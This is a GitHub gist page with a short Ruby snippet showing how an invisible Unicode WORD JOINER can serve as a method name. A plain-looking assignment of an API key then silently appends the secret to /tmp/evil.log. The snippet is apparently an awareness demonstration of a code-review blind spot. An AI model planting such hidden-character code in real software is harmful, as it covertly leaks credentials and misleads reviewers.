-
-
Save Freaky/51086f3c97784bdd6dfbd31913cd1af3 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
define_method("\u2060") do |a| | |
a.tap { IO.write('/tmp/evil.log', a, mode: 'a') } | |
end | |
secret="SUPER SECRET API KEY" |
Yep, there's a WORD JOINER
character right after the =. define_method
is used for clarity, you can use plain old def
with the bare unicode too.
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
How does this method get called? Is the unicode character between the "=" and the string "SUPER SECRET API KEY"?